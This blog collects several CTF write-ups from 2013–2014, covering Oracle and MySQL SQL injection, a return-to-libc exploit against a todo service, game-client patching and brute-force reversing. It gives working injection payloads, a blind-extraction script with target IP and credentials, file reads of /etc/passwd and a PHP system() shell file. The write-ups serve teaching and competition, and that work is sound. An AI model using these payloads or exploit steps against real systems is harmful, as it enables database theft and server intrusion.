Monday, January 27, 2014

PHDays CTF Quals - Oracle writeup

The PHDays CTF Qualifier just ended. The tasks were pretty hard, but rewarding as well. Oracle was one of the harder tasks, but after a lot of trying and failing, I managed to solve it and was quite happy.


Van chase

All we get in the task description is an IP address and basic auth credentials. It is also hinted that there is a secret code for a product in the database that we need to find. When we try to access the page we get a message saying that the website is under construction. There are no cookies, nothing in the source of the page, and nothing in the metadata of the displayed PNG image. But if we check robots.txt, we get a clue:
User-agent: *
Disallow: /address_shops.php?city=Moscow
Moving on, we can check what address_shops.php does.


Since the task is called Oracle, there is no way that this is not an SQLi challenge. Before we jump straight to the injection part, we can find a very helpful hint in the source of the page:
<!-- /address_shops.php?debug= -->
If we pass the debug parameter in the request, we will see the whole SQL query as a comment in the page source. This helps a lot, especially since the original query is not very typical or guessable.


The hotel

Let's start injecting stuff and see if we can get some data from the database. The original query looks like this, and there are no restrictions or filters on the input:
SELECT shop_pkg.get_city_branches('$city') AS branch FROM dual
These injected queries worked as expected, but UNION SELECT just didn't work. We guessed that it's because the stored procedure returns something that cannot be unioned with normal rows. So the only solution seemed like blind injection. I have a homebrew 'framework' for blind injection, I just had to write a get_bit function that leaks data from the database one bit at a time. It looked something like this:
def get_bit(payload):
    url = "http://195.133.87.173/address_shops.php?debug&city="
    resp = requests.get(url + payload, auth=('admin', 'P@ssw0rd9823_#@!hhqqyi'))
    return len(resp.text) > 1500
The payload was something like this, depending on what we wanted to leak:
payload = "Moscow') as branch from dual where chr(%d) < (select substr(text,%d,1) from (select text,row_number() over (order by line asc) as rn from dba_source where owner='PHD_IV') where rn=" + sys.argv[1] + ")--"
Ugly huh? So we were stuck for a long time here. I tried dumping various parts of the db, but I always seemed to ask the wrong questions. The goal was of course to find something related to products in the database, but we didn't have access to some key parts of the db, and I didn't realize this until later.

Then I found that there are 2 other users that may be interesting: PHD_IV_OWNER1 and PHD_IV_OWNER2. The original user was PHD_IV. After this, it was a bit clearer that there are parts that just cannot be accessed from our own user, and we need to do something about it. 

Then finally, we dumped the code for the package that contains the function get_city_branches. This was very useful, because there was another SQL injection in the procedure itself that we didn't realize earlier. We had to go deeper


Snow fortress

Here is the code for the package that had the second vulnerability: https://gist.github.com/balidani/81cf5fe6f777c418d4f0

The problem is on line 21, where the parameter is just concatenated with the query string, which is then evaluated. Since we are one level deeper here, we need to use 2 apostrophes, so that they are escaped on the first level, but evaluated on the second. This is how the new query will look like, which finally enables us to inject stuff using UNION queries.
?city=a'' union select to_char(1) from dual--
We were also stuck here for some time, but not quite as long as on the previous step. We dumped many parts of the database, and found out about the table secret_products. We still didn't have access to this table, so we had to keep looking for other ways. Eventually we found that PHD_IV_OWNER2 has a package called shop_private_pkg. This package has functions that can access the table with the secret products.

After loading the sources for this package, we found yet another vulnerability.


Limbo

Here is the code for the third vulnerability: https://gist.github.com/balidani/51809708269b28fc5109

After some inspection we can find that the function GET_PRODUCT_QUANTITY has the same problem as we've seen before, so we can exploit this the same way. One small problem is that the result for this query has to be a number, so we had to convert things accordingly.
Since this package is owned by PHD_IV_OWNER2, we now have access to secret_products. Single apostrophes now have to be passed as '''' to be interpreted properly.

We started by dumping the column names for the secret_products table. One of the first column names was hidden_code, where we quickly stopped, because that's a very strong hint for the flag. This is a query that we used to dump column names.
?city=a'' union all select to_char(PHD_IV_OWNER2.shop_private_pkg.GET_PRODUCT_QUANTITY(''A'''' union select ASCII(substr(a,%d,1)) from (select column_name as a,row_number() over (order by column_name asc) as rn from ALL_TAB_COLUMNS where table_name=''''SECRET_PRODUCTS'''') where rn=%d--'')) from dual--
There were 23 products, but only 1 with a hidden_code, so we dumped it with the following query.

?city=x'' union select to_char(PHD_IV_OWNER2.shop_private_pkg.GET_PRODUCT_QUANTITY(''A'''' union select ASCII(substr(hidden_code,%d,1)) from (select hidden_code from PHD_IV_OWNER1.SECRET_PRODUCTS where hidden_code is not null)--'')) from dual--
The resulting flag was: 9l5_q24y_2g7_r18_6g4

Thanks to the PHDays guys for making a very challenging CTF! I enjoyed it a lot.

Monday, January 20, 2014

Ghost in the Shellcode 2014 - Pwn Adventure 2 writeups

Pwn Adventure 2 is a full MMO-like game designed by the creators of the CTF, with some pwning in mind. It uses Unity, and there is a separate DLL file (on Windows) for the game logic, which was allowed to be reversed and patched.

We used .NET Reflector with the Reflexil plugin for the occasional patching.

Cave of Nope and Moon Boots

After solving Ad Subtract, Cave of Nope was the second task we've solved. We discovered what to do pretty easily after exploring the area called "Creepy Cave". Here is a picture of the huge gap that we needed to get through in order to fight the Spider Queen.

Mind the gap

We started exploring the .NET assembly and found something very promising shortly.


We also updated the constants in UpdateMovement to make the running speed much faster. This allowed us to get past the gap and two of us successfully defeated the evil Spider Queen.

Reenactment
Even though Moon Boots is based on something very similar, we ended up solving that at the very end. It took us time to figure out how to enter the Moon level, and we only realized how to get there based on IRC logs. Initially we tried to enter the level by replacing level files, but this didn't allow us to take the items from the chest. Then we realized that if this worked, we would have been able to solve every task this way.

The final solution was to create a negative gravity and jump out of bounds on a normal map. This teleported us to the moon.

Changing -9.81 to 0.5 did the trick

Unbearable

For this task we had to crack a chest in a map full of bears. The chest took 5 minutes to crack and the less time we had, the more dangerous it was. In the last 90 seconds, bears actually start shooting at you with machine guns. It was clear that we need to be invincible to solve this. We tried patching the client in many different ways, but nothing seemed to take effect on the server side. Then we found out about driking wine through reading the code. This solved our problems. We also needed to jump on top of the chest to avoid other attacks, but we already had high jumps patched.




A Boaring Quest

For this task, we needed to take down 9800 boars. This seemed too tedious, so we decided to cheat. We came up with a rather ugly solution, but it worked. In GameServerConnection we found a QuestKill method, which had the following anonymous method inside:
internal void <>m__51()
{
    try
    {
        GameServerMessage message = new GameServerMessage(GameServerMessage.Command.QuestKillCommand);
        message.GetWriter().Write(this.enemyName);
        message.Serialize(this.$this.stream);
        this.$this.bytesSent += message.length;
    }
    catch (Exception)
    {
        this.$this.Stop();
    }
}
Instead of returning from the function in the end, we just jumped to the beginning again. This is not an elegant solution at all.

Rabbit of Caerbannog

To solve this task, we needed to defeat a rabbit, which seemed invincible at first. After reading parts of the code, we realized that we need a "Holy Hand Grenade" to kill it. To get the grenade, we needed 89 gears, which were supposed to be purchased using real money as an in-game purchase (this part wasn't implemented, just suggested). Here is the relevant code:
if (!this.$this.player.inventory.AdjustQuantityForItem(
    "IAP", -this.quantity * this.itemPrice))
{
    this.result = false;
    this.error = "Not enough Gears for this purchase.";
    this.doneEvent.Set();
}
else
{
    // Get the item
}
If -this.quantity*this.itemPrice is a negative value (as supposed), we will never have enough gears to buy something, since there is no mechanism in the game to get gears. However, if we do an integer overflow, the sign of the expression will change and we not only get a lot of grenades, but a lot of gears too.



Entering 999,999,999 for the number of grenades to buy did the trick.

Pwn Adventure 2 was the most impressive CTF task (well set of tasks) I have seen. Thanks again to the Ghost in the Shellcode team.

Sunday, January 19, 2014

Ghost in the Shellcode 2014 - PapSmear writeup

This was a reversing task for 150 points. There was a python script which asked for a serial. If the serial we enter is accepted, we get a key. Here is the original source: https://gist.github.com/balidani/f91d5011365aea897768

The source is kind-of obfuscated, but not too badly. After making things prettier, this is what we came up with:

#!/usr/bin/python
from collections import defaultdict as d
from itertools import count as c
from operator import mul as m

def generate_primes():
    _b, __b = [], d(list)

    _c = 1
    for a in c():
        if a < len(_b): _c = _b[a]
        else:
            _c += 1
            while _c in __b:
                for b in __b[_c]: __b[_c+b]+=[b]
                del __b[_c]
                _c += 1
            __b[_c+_c]+=[_c]
            _b.append(_c)
        yield _c

def prime_factors(n):
    for _c in generate_primes():
        if _c > n: return
        _d = 0
        while n % _c == 0: _d, n = _d + 1, n / _c
        if _d != 0: yield _c

def relative_prime(x, y): 
    # return ___a(x * y) == ___a(y) * ___a(x)
    from fractions import gcd
    return gcd(x, y) == 1

def in_bounds(i, j):
    if not 10000 < i < 100000:
        return False
    if not 100 <= j <= 999:
        return False
    return True

def is_prime(n):
    import math
    if n < 2:
        return False
    i = 2
    while i <= math.sqrt(n):
        if n % i == 0:
            return False
        i += 1
    return True

def main():
    try:
        c = raw_input('Serial: ').split('-')
        
        if len(c) != 6: 
            raise
        for x in range(0, 6, 2):
            # c[x] is 5 chars long, c[x+1] is 3
            if not in_bounds(int(c[x]),int(c[x+1])):
                raise 

            # Tests if c[x] is a prime
            if not is_prime(int(c[x])):
                raise

            # Tests whether c[x] and c[x+1] are relative primes
            if not relative_prime(int(c[x]), int(c[x+1])):
                raise

            # c[x] and c[x+1] have to be unique
            if len([y for y in c if y == c[x]]) > 1:
                raise
            if len([z for z in c if z == c[x+1]]) > 1: 
                raise

        c.reverse()

        for k in range(7,10):
            a,b = int(c.pop()),int(c.pop())
            for x in [a+b*n for n in range(k)]:
                if not is_prime(x):
                    raise

        with open('flag.txt','r') as f:
            print f.read()
    except:
        print 'Bzzt. Wrong!'
 
if __name__ == '__main__': 
    main()

Basically, we need to enter 3 sections that consist of a large (5 char long) and a small (3 char long) number. The large numbers all have to be prime. The second part of the algorithm checks that all the numbers of the form a+b*n are prime, where a is the big number, b is the small number and n goes from 0 to k; k is 7 for the first part, 8 for the second and 9 for the third. Based on this, it is pretty straightforward to brute force a serial.

Additionally, one of my teammates discovered a very nice trick to bypass the part that makes sure we entered 3 different sections. The numbers are compared in string form, and so we can prepend a 0 to them and they will appear different. Since int() uses base 10 by default, this isn't a problem in python (other languages may detect octal notation). In the end, we couldn't use this method, it didn't work remotely for some reason.

I wrote this script to brute force a serial:

def serial_test(b, s, k):
    for x in [b+s*n for n in range(k)]:
        if not x in big_primes:
            return False
    return True

def main():

    primes = generate_primes()
    p = primes.next()

    while p < 10000:
        p = primes.next()
    while p < 100000:
        big_primes.append(p)
        p = primes.next()

    for s in range(100, 1000):
        print s
        for b in big_primes:
            if serial_test(b, s, 9):
                print b, s

This script was rather slow, it took about 2-3 seconds to check a single s value (with k=9). We could have made tons of changes to make it fast, but we decided not to waste time and just ran this in parallel. In the end we found 3 values that work up to k=9, though we only needed k=8 and k=7 for two of these. The resulting serial was: 61637-420-10859-210-10861-840. Sending this to the server resulted in a key: "ThesePrimesAreNotIllegal". 

Thanks to AKG and KT, and the whole SpamAndHex (Lite) team. Thanks to the Ghost in the Shellcode team for making this amazing CTF, we had lots of fun.

Sunday, December 29, 2013

30C3 CTF - todos writeup

I don't have much experience with exploitation, so this one was pretty hard for me, but it was a very exciting challenge and I had lots of fun solving it. Here is the task description:
A simple todo manager, try it - when you find bugs, tell us, will add to our todo list... Thanks!
todos.tar.gz running on 88.198.89.199:1234
Let's test the service first, so we get an idea about how it works.
$ nc 88.198.89.199 1234
Welcome to TTT (the todo tool)!
If you're new, try help
help
Commands:
help: Print this help screen
register <user> <pass>: register a new user
login <user> <pass>: Login when you have registered already.
register balidani balidani
User successfully created.
login balidani balidani
logged in...
help
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry
We can register a user, store items and search them. The registered user and the stored items are persistent.

The tar contains a 64-bit ELF binary. Loading it up in IDA, we can see that it imports MySQL functions and not much else. It doesn't handle sockets, so it's probably just piped to a socket. If we look at the strings, we can also read the queries that the service uses:


After checking the code that uses these strings, the query used for searching looks vulnerable to SQL injection. We can quickly confirm this:
search x' union select 'AAAA
Found 1 entries, use 'show <num>' to show them.
show 0
0: AAAA%
Here we can sigh and mumble something about how SQL injection is overused in CTFs, blah, blah. But there is much more to this task, the CCCAC won't let us down with such a boring challenge. Trying to dump the database doesn't yield any interesting results. LOAD_FILE doesn't work either. It's time to move on.

There is a bigger vulnerability in the search function. It trusts the output of the first MySQL query, and uses that to determine if it has to allocate more space for the search results. If we use an union in the injected SQL query, we can bypass this, and overflow data after the struct that holds the search results. The first value after the search results is the result counter (at 203b68, relative address). After that, a struct follows with data for the menu of the service.


First, there is an integer that tells the program where the command is used (before (1) or after login (2), or both (3)). Then there are 4 pointers.

  • Command name
  • Command regex
  • Function pointer
  • Command help string
After this, there is some space for a compiled regex.

The service uses ASLR, so first we have to leak an address to get the base address. Fortunately, this is very easy to do in this case. We just have to overflow a bigger number to the result count part, and then read the 11th result, which just points to 0x203c68, where the function pointer for the login function is stored. After we get the address, we can subtract 0x19d0, which is the relative address for the login function. Now we have the base address, and we can bypass ASLR!

How can we exploit the service now? I decided to go with a Return to libc attack. Here are the steps to exploitation:

  • Find libc
  • Find the system functions address
  • Replace the function pointer of the add command (at 0x203d68) to system
  • Call the add command with our payload (ls, cat, any command)
To find libc addresses, we needed yet another way to leak information. One way to do this is by overflowing the help string pointer of a command and then checking the help.

During exploitation, there was a problem with overflowing non-ASCII data. The original approach was to use a payload like this:
x' <union select 10 thins from somewhere> union select char(10) union select unhex('aaaaaaaa')#
Where 'aaaaaaaa' is the payload, hex encoded. Somehow this didn't work for non-ASCII characters. Interestingly, it worked when the data wasn't overflown, but after the 10th selected item it stopped working. Then I switched to another method. We can register a new user, add an item containing non-ASCII values, and select that for the 12th or 13rd items. Here is the version of the exploit that does this: https://gist.github.com/balidani/676c0df21f67d752b695

Let's test the script:
$ python leak_exploit.py 0x00
Leaked: 7f454c46020101
And that is the start of a beautiful ELF header, hex encoded. Of course encountering any zero bytes will terminate the string. Now we can start reading stuff from the got. After a few tries, I found the address for fread. The entry in the got was at 0x2030f0.
$ python leak_exploit.py 0x2030f0
Leaked: 5098940cf87f
So fread is at 0x7ff80c949850, but this address is also changing because of ASLR, so we will need the offset from the base address instead. We find that it is -0xe917b0.

Now we can start poking around in libc, with the goal of finding system. Unfortunately the version of libc I had was different from the one on the server. How do we find the libc version? I spent lots of time on this, until a teammate showed me that there is a copyright string in libc with version info. After reading random addresses around fread, I found some strings, and from there finding the version info was easy. The address was -0xd75180.
Leaked: GNU C Library (Ubuntu EGLIBC 2.17-93ubuntu4) stable release version 2.17, by Roland McGrath et al.
After trying a few versions, I found that the AMD64 one matched the bytecode found in fread identically. From here, we can load the library in IDA, and calculate the offset difference between system and fread. The final offset for system was at -0xebace0. Here is the final exploit that overflows this address and then calls system with cat /home/user/flaghttps://gist.github.com/balidani/0bb9f0927f751b630c67

In the end we got a flag, and 300 points.


Thanks to CCCAC for the CTF, and to SpamAndHex for being an awesome team. This task felt very well thought out. I'm waiting to see other people's writeups, I'm sure there is a better way than mine.


Sunday, October 27, 2013

NotSoSecure CTF writeup

The NotSoSecure CTF was a one-player CTF with only 2 flags to capture. At the beginning, players were presented with a simple login page:


I was trying for a very long time to inject some SQL into the username of password fields, to no avail. Then when I was checking out Twitter, I found that somebody has already managed to log in by registering. Then I tried to load register.php, and it worked. I got a nice message there: "Invalid data".

I tried to send post data to the register page, but I couldn't get the post parameter names correctly, because I always received the "Invalid data" message. After this, I tried to load different pages with mixed results. Then when I tried /login/ the result was strange. The HTML was the same, but the CSS could not be loaded because of the different path. It was the same with /register/ and /login/login/.../.

After looking at the HTML source in detail, I found that the login parameters are actually submitted to checklogin.php. When trying to load the /checklogin/ page however, the browser displayed a redirection error. That was strange, so I checked it out with this little python code instead:

url = "http://ctf.notsosecure.com/71367217217126217712/checklogin"
print requests.get(url, allow_redirects=False).text
The result was: 7365637265745f72656769737465722e68746d6c. If we unhexlify this value, we get: "secret_register.html", and this is the first clue. After this I could register, and log in with the new user. This is what I saw when logging in:


Again I spent lots and lots of time trying to slip some SQLi into the system when registering, but it never seemed to work. No error messages, and the user was registered correctly every time. Then I looked at the cookies after logging in and I found something interesting:



The session_id was "cGxhaW50ZXh0QHBsYWludGV4dC5wbA%3D%3D", which is a base64 encoded string. After decoding it I got "plaintext@plaintext.pl", which is the fake e-mail address I registered with. During some tests I discovered that there is no session_id cookie if I try to inject into the username field. After this I wrote a python script that registers a user with the input I supply and checks the cookies. You can find the script here. These values were interesting:

registered value --> cookie
---------------------------
admin\           --> admin@notsosecure.com
admin\\          --> admin\
admin\\\         --> admin\
admin\\\\        --> admin\\
The backslashes are very suspiciously escaped here so I tried to do some SQLi and check the cookie for the results. Amazingly it worked. Here is the output of my script:
test' or 1=1--
Cookie: admin@sqlilabs.com
test' and 1=0 union all select 1--
Cookie: missing
test' and 1=0 union all select 1,2--
Cookie: 1
Gotcha! It's time to dump table names and columns. A log of my tries follows, with some of the unnecessary tries deleted:

test' and 1=0 union all select 1,2 from information_schema.tables--
Cookie: 1
We have read access!
test' and 1=0 union all select table_name,2 from information_schema.tables limit 40,1--
Cookie: users
test' and 1=0 union all select table_schema,2 from information_schema.tables limit 40,1--
Cookie: 2ndorder
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 0,1--
Cookie: id
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 1,1--
Cookie: name
test' and 1=0 union all select column_name,2 from information_schema.columns where table_name='users' limit 2,1--
Cookie: password
And I can find the password for the admin with this query:
test' and 1=0 union all select concat(name,char(0x20),password),1 from 2ndorder.users--
Cookie: admin sqlilabRocKs!!
Yay! I can now log in and get the first flag!


And I get a very clear clue about the second flag. I need to access files on the server, namely secret.txt. Let's see if I have file privileges in MySQL:
test' and 1=0 union all selectload_file('/etc/passwd'),1--
Cookie: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
ctf:x:1000:1000:,,,:/home/ctf:/bin/bash
temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh
I do, and I just found another clue: temp123 is a user that we might log into, because they have a weak password. And indeed, the password was "weakpassword1". I can now look around on the server to find the second flag. It's in the root directory and it's only readable by the www-data user, and so I need to have code execution from www-data. To achieve this, I created a public_html directory for user temp123 and placed a php file in it:
<?php echo system("cat /secret.txt"); ?>
This worked like a charm! After visiting http://ctf.notsosecure.com/~temp123/x.php I found the second flag.


Thanks for the challenge to Sid and NotSoSecure CTF, it was nice!

Thursday, October 24, 2013

Hack.lu CTF - Crypto 200 (Geier's Lambda)

Hack.lu CTF was great! !SpamAndHex finished at #15, so there is room for improvement, but at the end of the first day we were at #3, which was pretty nice. Geier's Lambda was a crypto challenge, which we managed to solve third out of all the teams, even landing a bonus point. I did not work on this alone, thanks to the 2 other guys that worked on this!

The task

We were given a Haskell source for a cryptographic cipher. The task was to find a collision with a given key, which was "Le1sRI6I". First we wanted to identify the cipher to see if it's an already existing one. By googling the hex version of the integer constants (2654435769, 3337565984) we found that this is most probably the xTea cipher.

First we were trying to bruteforce the collision, but we were looking at it the wrong way. However, we found something important when playing with the haskell code -- the cipher only uses the first 4 characters from the key.

After inspecting the source in detail we found that the "hash" function of the code is not used anywhere, and this gave us a clue. We translated the haskell version to python:
def hash(passwd):
    acc = (1, 0)
    for x in passwd:
        (a, b) = acc
        acc = (a + ord(x), a + b + ord(x))
    (a, b) = acc
    return a | (b << 16)
All this function does is collecting the sum of ASCII values into one part of the tuple, and collecting another aggregate value into the other. It is quite easy to find a collision for this. This is the bruteforce approach:
def brute():
    arr = string.ascii_letters + string.digits
    for x in arr:
        for y in arr:
            for z in arr:
                for w in arr:
                    s = "%c%c%c%c" % (x,y,z,w)
                    if hash(s) == hash("Le1s"):
                        print s
This gave us a list of around 1000 possible keys. Then we wrote a function that evaluates the resulting key by executing the Haskell binary (that we compiled from the source) and checking the number of ASCII characters in the deciphered result:
for pwd in passwords:
process = Popen(['./pwd_check', pwd], stdout=PIPE)
stdout, stderr = process.communicate()
dat = stdout
hex_str = "%x" % (int(dat))
if len(hex_str) % 2 != 0:
hex_str = "0" + hex_str
res =  unhexlify(hex_str)
score = 0
for ch in string.ascii_letters + string.digits + " _":
if ch in res:
score += 1
if score > 5:
print res
And after running this, we got the key straight away: T3aP4rTy

Thanks again to the FluxFingers team for the nice challenges.

Sunday, September 29, 2013

No cON Name Facebook CTF qualifiers writeup

With only 3 tasks and no flag submission, the No cON Name Facebook CTF had a slightly unusual qualifier. On Twitter the organizers clarified that the qualifier is "not a CTF". The teams not only had to solve the tasks, they had to create writeups as well. The tasks were interesting, but they were surprisingly easy. I worked alone this time and solved the tasks pretty quickly.

Level 1

This was a web hacking challenge with some client-side JavaScript code to evaluate the key.


Looking at the underlying JavaScript we can see this obfuscated code:




After beautifying the code, this is what we can see:
var _0x52ae = [...];
eval(function (_0x7038x1, _0x7038x2, _0x7038x3, _0x7038x4, _0x7038x5, _0x7038x6) {
    ...
}(_0x52ae[0], 46, 46, _0x52ae[3][_0x52ae[2]](_0x52ae[1]), 0, {}));
The easiest way to deobfuscate this is to change "eval" to "console.log" (in chrome). This will print all of the unpacked JS source. Here is an interesting function:
function encrypt(form) {
    var res;
    res = numerical_value(form.password.value);
    res = res * (3 + 1 + 3 + 3 + 7);
    res = res >>> 6;
    res = res / 4;
    res = res ^ 4153;
    if (res != 0) {
        alert('Invalid password!')
    } else {
        alert('Correct password :)')
    }
}
Any string that produces a numerical value between 62540 and 62544 will be accepted. Finally, this is how the numerical_value is computed:
function numerical_value(str) {
    var i, a = 0,
        b;
    for (i = 0; i < str.length; ++i) {
        b = ascii_one(str.charAt(i));
        a += b * (i + 1)
    }
    return a
}
It is pretty straightforward to forge a key by hand now. This was one that worked for me: "}}zzzzzzzzzzzzzzzzzzzzzzzzzzzyyA". I started adding new letters until I was close to the target value. Then I changed the values that are close to the beginning to fine-tune it. It was a pretty bad idea to start with "z" characters, since there are very few characters with larger ASCII codes. Here is the flag as the result:


Level 2

The task here was to reverse-engineer an Android application package (apk) file. I cheated here and instead of looking at the source I looked at the resource files. There were 16 images that looked like parts of a QR code. It took me roughly 3 minutes to puzzle them together and after reading the QR code I got a flag:


788f5ff85d370646d4caa9af0a103b338dbe4c4bb9ccbd816b585c69de96d9da
Level 3

Level 3 was a 64-bit ELF executable. This is what happens when we launch the application:


I started reversing the ELF binary, but I'm terribly lazy and I wanted to do this as fast as I can, because if I were trying to get into the final with a team time would have mattered. I decided to write a script that tries every character until it is accepted and then continue with the next one. I figured out the first character by hand (it was a space, for some reason this was my third try) and then I knew what to look for in the output. Here is the script, it's pretty short:
from subprocess import Popen, PIPE, STDOUT
flag = ""
while True:
for x in range(32, 128):
p = Popen(['./level.elf'], stdout=PIPE, stdin=PIPE, stderr=PIPE)
stdout_data = p.communicate(input=(flag+chr(x)))[0]
if stdout_data.count("*") > len(flag):
flag += chr(x)
print flag
break
This is what we get when we run the script:


And here is the flag after trying the password:


Interesting challenge. I really should have reversed it instead. I will never be a better reverse engineer if I keep cheating. Next time!